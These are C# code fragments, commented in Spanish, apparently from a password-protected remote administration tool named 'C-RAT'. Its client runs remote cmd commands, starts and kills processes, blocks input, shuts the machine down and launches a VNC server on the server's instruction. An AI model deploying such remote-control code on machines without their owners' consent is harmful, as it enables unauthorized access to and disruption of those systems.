/// <summary> /// Genera un objeto del tipo NetData a partir de otro objeto cualquiera /// basandose en sus propiedades (getters) /// mediante reflexion. /// </summary> /// <param name="msgCode"></param> /// Codigo del protocolo para el NEtData. /// <param name="obj"></param> /// Fuente de propiedades. /// <returns></returns> public static NetData GenerarNetDataDesdeObjeto(int msgCode, Object obj) { NetData datoDeRed = new NetData(msgCode); Type clase = obj.GetType(); foreach (PropertyInfo campo in clase.GetProperties()) { datoDeRed.AddDato(campo.Name, campo.GetValue(obj, null).ToString()); } return datoDeRed; }
private void btnEnviar_Click(object sender, EventArgs e) { try { NetData nd = new NetData((int) Protocolo.Servidor.EnviarCmdCommandRemoto); nd.AddDato("Comando", tbComando.Text); clienteAsociado.Enviar(nd); tbComando.Text = ""; } catch (Exception ex) { MessageBox.Show("Se ha perdido la conexion con el cliente.", "Error de conexion", MessageBoxButtons.OK, MessageBoxIcon.Error); Dispose(); } }
//eventos public void GestionBtnAcciones(object sender, EventArgs eventArgs) { Button btnSeleccionado = (Button) sender; String accion = btnSeleccionado.Tag.ToString(); String nproc = null; if (miGrid.SelectedRows.Count <= 0) { MessageBox.Show("Debes seleccionar alguna ventana", "No hay ningun objetivo"); return; } foreach (DataGridViewRow row in miGrid.SelectedRows) { //creo el NetData segun la accion seleccionada. NetData msgToClient = null; switch (accion) { case "iniciar": msgToClient = new NetData((int) Protocolo.Servidor.EjecutarProceso); if (nproc == null) nproc = MiInputBox.PedirString("Introduce el nombre del proceso", "¿Cual es la ruta o nombre del proceso que deseas ejecutar?", this); //si no se coloco un titulo... if (nproc == null) { MessageBox.Show("Debes introducir un nombre..."); return; } //salgo. msgToClient.AddDato("NombreProceso", nproc); break; case "matar": msgToClient = new NetData((int)Protocolo.Servidor.MatarProceso); break; } if (msgToClient != null) { loadLabel.Visible = true; statusStrip1.Text = "Procesando..."; msgToClient.AddDato("Id", row.Cells["Id"].Value.ToString()); Cliente.Enviar(msgToClient); statusStrip1.Text = "Accion Realizada con exito."; loadLabel.Visible = false; } } //autorefresh. Actualizar(); }
private void eventoBtnEnviarMsgBoxClick(object sender, EventArgs e) { if (ClienteSeleccionado != null) { String[] datosMsgBox = MsgBoxBuilder.obtenerMsgBoxDataInfo("" + ClienteSeleccionado.IpAddress); if (datosMsgBox != null) { NetData envioMsgBox = new NetData((int) Protocolo.Servidor.MostrarMsgBox); envioMsgBox.AddDato("Msg", datosMsgBox[0]); envioMsgBox.AddDato("Titulo", datosMsgBox[1]); envioMsgBox.AddDato("Tipo", datosMsgBox[2]); ClienteSeleccionado.Enviar(envioMsgBox); } } }
private void eventoBotonEnviarWebClick(object sender, EventArgs e) { if (ClienteSeleccionado != null) { String url = MiInputBox.PedirString("Escribe una url", "Introduce la url que deseas enviar al cliente.", this); if (url == null) return; if (Utils.ValidarUrl(url)) { NetData urlInfo = new NetData((int) Protocolo.Servidor.AbrirPaginaWeb); urlInfo.AddDato("URL", url); ClienteSeleccionado.Enviar(urlInfo); } else { MessageBox.Show("La url proporcionada no es una Url bien formada. Escriba una url correcta.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } } }
private void eventoBotonApagado(object sender, EventArgs e) { try { if (ClienteSeleccionado != null) { NetData ndShutdown = new NetData((int) Protocolo.Servidor.ApagarEquipo); if (sender.GetType() == typeof (Button)) { Button btnPulsado = sender as Button; ndShutdown.AddDato("Flag", btnPulsado.Tag.ToString()); ClienteSeleccionado.Enviar(ndShutdown); } else if (sender.GetType() == typeof (ToolStripMenuItem)) { ToolStripMenuItem btnPulsado = sender as ToolStripMenuItem; ndShutdown.AddDato("Flag", btnPulsado.Tag.ToString()); ClienteSeleccionado.Enviar(ndShutdown); } } else { MessageBox.Show("Selecciona un cliente destino para la acción"); } } catch (Exception ex) { } }
private void autentificarToolStripMenuItem_Click(object sender, EventArgs e) { if (ClienteSeleccionado != null) { string pass = MiInputBox.PedirString("Autentificación", "Introduce la contraseña para el cliente.", this); if (!string.IsNullOrEmpty(pass)) { NetData msgPass = new NetData((int) Protocolo.Servidor.EnviarPassword); msgPass.AddDato("Password", pass); ClienteSeleccionado.Enviar(msgPass); } } }
//eventos public void GestionBtnAcciones(object sender, EventArgs eventArgs) { Button btnSeleccionado = (Button) sender; String accion = btnSeleccionado.Tag.ToString(); String ntit = null; if (miGrid.SelectedRows.Count <= 0) { MessageBox.Show("Debes seleccionar alguna ventana", "No hay ningun objetivo"); return; } foreach (DataGridViewRow row in miGrid.SelectedRows) { //creo el NetData segun la accion seleccionada. NetData msgToClient = null; switch (accion) { case "minimizar": msgToClient = new NetData((int) Protocolo.Servidor.MinimizarVentana); break; case "desbloquear": msgToClient = new NetData((int) Protocolo.Servidor.DesbloquearVentana); break; case "bloquear": msgToClient = new NetData((int) Protocolo.Servidor.BloquearVentana); break; case "cambiartitulo": msgToClient = new NetData((int) Protocolo.Servidor.CambiarTituloVentana); if (ntit == null) ntit = MiInputBox.PedirString("Introduce un titulo", "¿Qué titulo deseas para las ventanas seleccionadas?", this); //si no se coloco un titulo... if (ntit == null) { MessageBox.Show("Debes introducir un titulo..."); return; } //salgo. msgToClient.AddDato("NuevoTitulo", ntit); break; } if (msgToClient != null) { loadLabel.Visible = true; statusStrip1.Text = "Procesando..."; msgToClient.AddDato("Handle", row.Cells["Handle"].Value.ToString()); Cliente.Enviar(msgToClient); Thread.Sleep(80); statusStrip1.Text = "Accion Realizada con exito."; loadLabel.Visible = false; } } //autorefresh. Actualizar(); }
public static NetData RespuestaOk(String msg) { NetData ndSuccess = new NetData((int) Protocolo.Cliente.RespuestaSuccess); ndSuccess.AddDato("Mensaje", msg); return ndSuccess; }
public static NetData RespuestaError(String msg) { NetData ndError = new NetData((int) Protocolo.Cliente.RespuestaError); ndError.AddDato("Mensaje", msg); return ndError; }
private static void Procesar(NetData objRecibido) { Console.Out.WriteLine("Recibido msg con codigo de protocolo [" + objRecibido.CodigoDeProtocolo + "]"); /*mientras el acceso no este validado...*/ if (comprobarAuth() == false) { Boolean auth = false; if (objRecibido.CodigoDeProtocolo == (int) Protocolo.Servidor.EnviarPassword) { auth = validarRespuestaPassword(objRecibido); } else { Enviar(Servicio.GenerarPeticionPassword()); } /*Si el servidor no esta validado le pido el password para que se valide...*/ if (auth == false) { return; } } //Si el server esta autorizado (Password -> OK) proceso los msg recibidos. switch (objRecibido.CodigoDeProtocolo) { //Ventanas case (int) Protocolo.Servidor.PedirInfoVentanas: NetData d = Servicio.GenerarInfoVentanasVisibles((int) Protocolo.Cliente.RespuestaInfoVentanas); Enviar(d); break; //Acciones de Ventana. case (int) Protocolo.Servidor.MinimizarVentana: case (int) Protocolo.Servidor.BloquearVentana: case (int) Protocolo.Servidor.DesbloquearVentana: case (int) Protocolo.Servidor.CambiarTituloVentana: try { Servicio.ProcesarAccionesDeVentana(objRecibido); Enviar(NetData.RespuestaOk()); } catch (Exception ex) { Enviar(NetData.RespuestaError()); } break; //acciones de procesos. case (int)Protocolo.Servidor.MatarProceso: case (int)Protocolo.Servidor.EjecutarProceso: try { Servicio.ProcesarAccionesDeProcesos(objRecibido); Enviar(NetData.RespuestaOk()); } catch (Exception ex) { Enviar(NetData.RespuestaError()); } break; case (int) Protocolo.Servidor.PedirInfoSoftware: NetData infoSoft = Servicio.GenerarInfoSoftwareDelSistema((int) Protocolo.Cliente.RespuestaInfoSoftware); Enviar(infoSoft); break; case (int)Protocolo.Servidor.PedirInfoProcesos: NetData infoProc = Servicio.GenerarInfoProcesosDelSistema((int)Protocolo.Cliente.RespuestaInfoProcesos); Enviar(infoProc); break; //accion MsgBox case (int) Protocolo.Servidor.MostrarMsgBox: Servicio.MostrarMsgBox(objRecibido.GetDato("Msg"), objRecibido.GetDato("Titulo"), int.Parse(objRecibido.GetDato("Tipo"))); break; case (int) Protocolo.Servidor.IniciarEscritorioRemoto: try { Servicio.IniciarServidorVnc(passwordServidorVNC, puertoServidorVNC, "Servidor VNC C-RAT"); } catch (Exception ex) { Console.Out.WriteLine( "No se pudo iniciar el servidor. Compruebe que no se encuentra ya iniciado."); } break; case (int) Protocolo.Servidor.BloquearSistema: Servicio.BloquearEntradaDelSistema(true); break; case (int) Protocolo.Servidor.DesbloquearSistema: Servicio.BloquearEntradaDelSistema(false); break; case (int) Protocolo.Servidor.AbrirPaginaWeb: String url = objRecibido.GetDato("URL"); Servicio.AbrirPaginaWeb(url); break; case (int) Protocolo.Servidor.ApagarEquipo: Servicio.RealizarAccionApagado(int.Parse(objRecibido.GetDato("Flag"))); break; case (int) Protocolo.Servidor.EnviarCmdCommandRemoto: string respuesta = Servicio.ObtenerRespuestaComandoCmd(objRecibido.GetDato("Comando")); NetData respNd = new NetData((int) Protocolo.Cliente.RespuestaComandoCmd); respNd.AddDato("RespuestaCmd",respuesta); Enviar(respNd); break; case (int) Protocolo.Servidor.DesconectarCliente: Console.Out.WriteLine("El servidor ha finalizado la Conexion."); Environment.Exit(0); break; } }